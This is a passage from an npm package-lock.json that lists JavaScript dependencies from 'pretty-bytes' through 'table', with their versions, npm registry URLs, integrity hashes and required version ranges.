"sha512-iBjQ3IY6IayFrQHhXvg+YvKprPUUiIJ04Vr9+EbeQPfwGajznArIqrN33c5bi4JcIvmLHGROIMOm9aYakJj/CA==", "dev": true, "requires": { "sort-package-json": "1.57.0" } }, "pretty-bytes": { "version": "5.6.0", "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", "dev": true }, "process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, "progress": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", "dev": true }, "prop-types": { "version": "15.7.2", "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==", "dev": true, "requires": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.8.1" } }, "proxy-from-env": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.0.0.tgz", "integrity": "sha512-F2JHgJQ1iqwnHDcQjVBsq3n/uoaFL+iPW/eAeL7kVxy/2RrWaN4WroKjjvbsoRtv0ftelNyC01bjRhn/bhcf4A==", "dev": true }, "psl": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", "dev": true }, "pump": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" } }, "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", "dev": true }, "q": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==" }, "qs": { "version": "6.10.4", "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.4.tgz", "integrity": "sha512-OQiU+C+Ds5qiH91qh/mg0w+8nwQuLjM4F4M/PbmhDOoYehPh+Fb0bDjtR1sOvy7YKxvj28Y/M0PhP5uVX0kB+g==", "dev": true, "requires": { "side-channel": "^1.0.4" } }, "querystringify": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", "dev": true }, "quick-lru": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==" }, "react-is": { "version": "16.8.6", "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.8.6.tgz", "integrity": "sha512-aUk3bHfZ2bRSVFFbbeVS4i+lNPZr3/WM5jT2J5omUVV1zzcs1nAaf3l51ctA5FFvCRbhrH0bdAsRRQddFJZPtA==", "dev": true }, "read-installed": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/read-installed/-/read-installed-4.0.3.tgz", "integrity": "sha512-O03wg/IYuV/VtnK2h/KXEt9VIbMUFbk3ERG0Iu4FhLZw0EP0T9znqrYDGn6ncbEsXUFaUjiVAWXHzxwt3lhRPQ==", "dev": true, "requires": { "debuglog": "^1.0.1", "graceful-fs": "^4.1.2", "read-package-json": "^2.0.0", "readdir-scoped-modules": "^1.0.0", "semver": "2 || 3 || 4 || 5", "slide": "~1.1.3", "util-extend": "^1.0.1" } }, "read-package-json": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/read-package-json/-/read-package-json-2.1.2.tgz", "integrity": "sha512-D1KmuLQr6ZSJS0tW8hf3WGpRlwszJOXZ3E8Yd/DNRaM5d+1wVRZdHlpGBLAuovjr28LbWvjpWkBHMxpRGGjzNA==", "dev": true, "requires": { "glob": "^7.1.1", "json-parse-even-better-errors": "^2.3.0", "normalize-package-data": "^2.0.0", "npm-normalize-package-bin": "^1.0.0" } }, "read-pkg": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-3.0.0.tgz", "integrity": "sha512-BLq/cCO9two+lBgiTYNqD6GdtK8s4NpaWrl6/rCO9w0TUS8oJl7cmToOZfRYllKTISY6nt1U7jQ53brmKqY6BA==", "requires": { "load-json-file": "^4.0.0", "normalize-package-data": "^2.3.2", "path-type": "^3.0.0" }, "dependencies": { "path-type": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-3.0.0.tgz", "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==", "requires": { "pify": "^3.0.0" } }, "pify": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==" } } }, "read-pkg-up": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", "dev": true, "requires": { "find-up": "^2.0.0", "read-pkg": "^2.0.0" }, "dependencies": { "load-json-file": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", "dev": true, "requires": { "graceful-fs": "^4.1.2", "parse-json": "^2.2.0", "pify": "^2.0.0", "strip-bom": "^3.0.0" } }, "parse-json": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", "dev": true, "requires": { "error-ex": "^1.2.0" } }, "path-type": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", "dev": true, "requires": { "pify": "^2.0.0" } }, "read-pkg": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", "dev": true, "requires": { "load-json-file": "^2.0.0", "normalize-package-data": "^2.3.2", "path-type": "^2.0.0" } } } }, "readable-stream": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "readdir-scoped-modules": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/readdir-scoped-modules/-/readdir-scoped-modules-1.1.0.tgz", "integrity": "sha512-asaikDeqAQg7JifRsZn1NJZXo9E+VwlyCfbkZhwyISinqk5zNS6266HS5kah6P0SaQKGF6SkNnZVHUzHFYxYDw==", "dev": true, "requires": { "debuglog": "^1.0.1", "dezalgo": "^1.0.0", "graceful-fs": "^4.1.2", "once": "^1.3.0" } }, "redent": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", "requires": { "indent-string": "^4.0.0", "strip-indent": "^3.0.0" } }, "reflect-metadata": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.1.13.tgz", "integrity": "sha512-Ts1Y/anZELhSsjMcU605fU9RE4Oi3p5ORujwbIKXfWa+0Zxs510Qrmrce5/Jowq3cHSZSJqBjypxmHarc+vEWg==" }, "regexpp": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz", "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==", "dev": true }, "remark-footnotes": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/remark-footnotes/-/remark-footnotes-3.0.0.tgz", "integrity": "sha512-ZssAvH9FjGYlJ/PBVKdSmfyPc3Cz4rTWgZLI4iE/SX8Nt5l3o3oEjv3wwG5VD7xOjktzdwp5coac+kJV9l4jgg==", "requires": { "mdast-util-footnote": "^0.1.0", "micromark-extension-footnote": "^0.3.0" } }, "remark-frontmatter": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/remark-frontmatter/-/remark-frontmatter-3.0.0.tgz", "integrity": "sha512-mSuDd3svCHs+2PyO29h7iijIZx4plX0fheacJcAoYAASfgzgVIcXGYSq9GFyYocFLftQs8IOmmkgtOovs6d4oA==", "requires": { "mdast-util-frontmatter": "^0.2.0", "micromark-extension-frontmatter": "^0.2.0" } }, "remark-gfm": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-1.0.0.tgz", "integrity": "sha512-KfexHJCiqvrdBZVbQ6RopMZGwaXz6wFJEfByIuEwGf0arvITHjiKKZ1dpXujjH9KZdm1//XJQwgfnJ3lmXaDPA==", "requires": { "mdast-util-gfm": "^0.1.0", "micromark-extension-gfm": "^0.3.0" } }, "remark-parse": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz", "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==", "requires": { "mdast-util-from-markdown": "^0.8.0" } }, "repeat-string": { "version": "1.6.1", "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==" }, "request-progress": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/request-progress/-/request-progress-3.0.0.tgz", "integrity": "sha1-TKdUCBx/7GP1BeT6qCWqBs1mnb4=", "dev": true, "requires": { "throttleit": "^1.0.0" } }, "require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=" }, "require-uncached": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", "dev": true, "requires": { "caller-path": "^0.1.0", "resolve-from": "^1.0.0" } }, "requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", "dev": true }, "resolve": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.10.0.tgz", "integrity": "sha512-3sUr9aq5OfSg2S9pNtPA9hL1FVEAjvfOC4leW0SNf/mpnaakz2a9femSd6LqAww2RaFctwyf1lCqnTHuF1rxDg==", "requires": { "path-parse": "^1.0.6" } }, "resolve-from": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", "dev": true }, "restore-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", "requires": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" } }, "reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", "dev": true }, "rimraf": { "version": "2.6.3", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", "dev": true, "requires": { "glob": "^7.1.3" } }, "run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==" }, "run-parallel": { "version": "1.1.9", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.1.9.tgz", "integrity": "sha512-DEqnSRTDw/Tc3FXf49zedI638Z9onwUotBMiUFKmrO2sdFKIbXamXGQ3Axd4qgphxKB4kw/qP1w5kTxnfU1B9Q==", "dev": true }, "rxjs": { "version": "5.5.12", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-5.5.12.tgz", "integrity": "sha512-xx2itnL5sBbqeeiVgNPVuQQ1nC8Jp2WfNJhXWHmElW9YmrpS9UVnNzhP3EH3HFqexO5Tlp8GhYY+WEcqcVMvGw==", "dev": true, "requires": { "symbol-observable": "1.0.1" } }, "safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "semver": { "version": "5.7.2", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==" }, "shebang-command": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", "dev": true, "requires": { "shebang-regex": "^1.0.0" } }, "shebang-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", "dev": true }, "side-channel": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", "dev": true, "requires": { "call-bind": "^1.0.0", "get-intrinsic": "^1.0.2", "object-inspect": "^1.9.0" } }, "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" }, "slash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true }, "slice-ansi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", "dev": true, "requires": { "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" }, "dependencies": { "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "requires": { "color-convert": "^2.0.1" } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true } } }, "slide": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz", "integrity": "sha512-NwrtjCg+lZoqhFU8fOwl4ay2ei8PaqCBOUV3/ektPY9trO1yQ1oXEfmHAhKArUVUr/hOHvy5f6AdP17dCM0zMw==", "dev": true }, "sort-object-keys": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/sort-object-keys/-/sort-object-keys-1.1.3.tgz", "integrity": "sha512-855pvK+VkU7PaKYPc+Jjnmt4EzejQHyhhF33q31qG8x7maDzkeFhAAThdCYay11CISO+qAMwjOBP+fPZe0IPyg==", "dev": true }, "sort-package-json": { "version": "1.57.0", "resolved": "https://registry.npmjs.org/sort-package-json/-/sort-package-json-1.57.0.tgz", "integrity": "sha512-FYsjYn2dHTRb41wqnv+uEqCUvBpK3jZcTp9rbz2qDTmel7Pmdtf+i2rLaaPMRZeSVM60V3Se31GyWFpmKs4Q5Q==", "dev": true, "requires": { "detect-indent": "^6.0.0", "detect-newline": "3.1.0", "git-hooks-list": "1.0.3", "globby": "10.0.0", "is-plain-obj": "2.1.0", "sort-object-keys": "^1.1.3" } }, "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" }, "spawn-command": { "version": "0.0.2-1", "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz", "integrity": "sha1-YvXpRmmBwbeW3Fkpk34RycaSG9A=" }, "spdx-compare": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/spdx-compare/-/spdx-compare-1.0.0.tgz", "integrity": "sha512-C1mDZOX0hnu0ep9dfmuoi03+eOdDoz2yvK79RxbcrVEG1NO1Ph35yW102DHWKN4pk80nwCgeMmSY5L25VE4D9A==", "dev": true, "requires": { "array-find-index": "^1.0.2", "spdx-expression-parse": "^3.0.0", "spdx-ranges": "^2.0.0" } }, "spdx-correct": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz", "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==", "requires": { "spdx-expression-parse": "^3.0.0", "spdx-license-ids": "^3.0.0" } }, "spdx-exceptions": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.2.0.tgz", "integrity": "sha512-2XQACfElKi9SlVb1CYadKDXvoajPgBVPn/gOQLrTvHdElaVhr7ZEbqJaRnJLVNeaI4cMEAgVCeBMKF6MWRDCRA==" }, "spdx-expression-parse": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", "requires": { "spdx-exceptions": "^2.1.0", "spdx-license-ids": "^3.0.0" } }, "spdx-license-ids": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.4.tgz", "integrity": "sha512-7j8LYJLeY/Yb6ACbQ7F76qy5jHkp0U6jgBfJsk97bwWlVUnUWsAgpyaCvo17h0/RQGnQ036tVDomiwoI4pDkQA==" }, "spdx-ranges": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/spdx-ranges/-/spdx-ranges-2.1.1.tgz", "integrity": "sha512-mcdpQFV7UDAgLpXEE/jOMqvK4LBoO0uTQg0uvXUewmEFhpiZx5yJSZITHB8w1ZahKdhfZqP5GPEOKLyEq5p8XA==", "dev": true }, "spdx-satisfies": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/spdx-satisfies/-/spdx-satisfies-4.0.1.tgz", "integrity": "sha512-WVzZ/cXAzoNmjCWiEluEA3BjHp5tiUmmhn9MK+X0tBbR9sOqtC6UQwmgCNrAIZvNlMuBUYAaHYfb2oqlF9SwKA==", "dev": true, "requires": { "spdx-compare": "^1.0.0", "spdx-expression-parse": "^3.0.0", "spdx-ranges": "^2.0.0" } }, "split": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz", "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==", "requires": { "through": "2" } }, "split2": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/split2/-/split2-3.2.2.tgz", "integrity": "sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==", "requires": { "readable-stream": "^3.0.0" } }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", "dev": true }, "sshpk": { "version": "1.16.1", "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", "dev": true, "requires": { "asn1": "~0.2.3", "assert-plus": "^1.0.0", "bcrypt-pbkdf": "^1.0.0", "dashdash": "^1.12.0", "ecc-jsbn": "~0.1.1", "getpass": "^0.1.1", "jsbn": "~0.1.0", "safer-buffer": "^2.0.2", "tweetnacl": "~0.14.0" } }, "standard": { "version": "12.0.1", "resolved": "https://registry.npmjs.org/standard/-/standard-12.0.1.tgz", "integrity": "sha512-UqdHjh87OG2gUrNCSM4QRLF5n9h3TFPwrCNyVlkqu31Hej0L/rc8hzKqVvkb2W3x0WMq7PzZdkLfEcBhVOR6lg==", "dev": true, "requires": { "eslint": "~5.4.0", "eslint-config-standard": "12.0.0", "eslint-config-standard-jsx": "6.0.2", "eslint-plugin-import": "~2.14.0", "eslint-plugin-node": "~7.0.1", "eslint-plugin-promise": "~4.0.0", "eslint-plugin-react": "~7.11.1", "eslint-plugin-standard": "~4.0.0", "standard-engine": "~9.0.0" } }, "standard-engine": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/standard-engine/-/standard-engine-9.0.0.tgz", "integrity": "sha512-ZfNfCWZ2Xq67VNvKMPiVMKHnMdvxYzvZkf1AH8/cw2NLDBm5LRsxMqvEJpsjLI/dUosZ3Z1d6JlHDp5rAvvk2w==", "dev": true, "requires": { "deglob": "^2.1.0", "get-stdin": "^6.0.0", "minimist": "^1.1.0", "pkg-conf": "^2.0.0" } }, "string_decoder": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "requires": { "safe-buffer": "~5.2.0" } }, "string-width": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.0" }, "dependencies": { "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" }, "strip-ansi": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", "requires": { "ansi-regex": "^5.0.0" } } } }, "strip-ansi": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", "dev": true, "requires": { "ansi-regex": "^2.0.0" } }, "strip-bom": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=" }, "strip-final-newline": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", "dev": true }, "strip-indent": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", "requires": { "min-indent": "^1.0.0" } }, "strip-json-comments": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", "dev": true }, "supports-color": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "requires": { "has-flag": "^3.0.0" } }, "symbol-observable": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.0.1.tgz", "integrity": "sha1-g0D8RwLDEi310iKI+IKD9RPT/dQ=", "dev": true }, "table": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz", "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", "dev": true, "requires": { "ajv": "^6.0.1", "ajv-keywords": 